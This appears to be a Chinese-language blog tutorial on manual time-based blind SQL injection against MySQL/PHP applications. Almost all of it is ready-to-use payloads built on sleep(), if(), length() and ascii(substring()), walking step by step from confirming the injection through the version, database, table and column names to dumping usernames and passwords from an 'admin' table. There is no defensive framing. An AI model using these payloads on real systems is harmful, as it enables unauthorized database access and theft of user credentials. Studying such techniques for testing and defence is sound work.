mysql+php手工注入-延时注入

vlambda
2021-05-20

mysql+php手工注入-延时注入

延时注入属于盲注的一种，这种注入通过mysql中的 sleep()函数，进行延时

sleep() 通常与 if 一起使用

例如：select if(1=1,sleep(3),0) 意思是如果1=1，就延时3s，否则为0

延时注入的方法是先获取数据的长度，再用长度查询内容

判断注入

and sleep(3)：如果存在注入，页面会延时3s

获取mysql版本

先判断版本长度，再对每一个字符进行判断

length()  查询长度
substring()  截取字符
ascii()  ascii码
id=1 and if(length(version())=6,sleep(3),0)

and if(ascii(substring(version(),1,1))=53,sleep(5),0)
and if(ascii(substring(version(),2,1))=46,sleep(5),0)
and if(ascii(substring(version(),3,1))=53,sleep(5),0)
and if(ascii(substring(version(),4,1))=46,sleep(5),0)
and if(ascii(substring(version(),5,1))=52,sleep(5),0)
and if(ascii(substring(version(),6,1))=54,sleep(5),0)

获取库名

and if(length((select schema_name from information_schema.schemata limit 0,1))=10,sleep(5),0)

and if(ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(5),0)

获取表名

and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=34,sleep(5),0)

and if(ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=100,sleep(5),0)

获取字段

if(LENGTH((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e))=20,sleep(5),0)

if(ascii(SUBSTRING((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e),1,1))=105,sleep(5),0)

获取数据

if(LENGTH((select GROUP_CONCAT(username,0x3a,password)from admin))=38,sleep(5),5)

if(ascii(substring((select GROUP_CONCAT(username,0x3a,password)from admin),1,1))=105,sleep(5),5)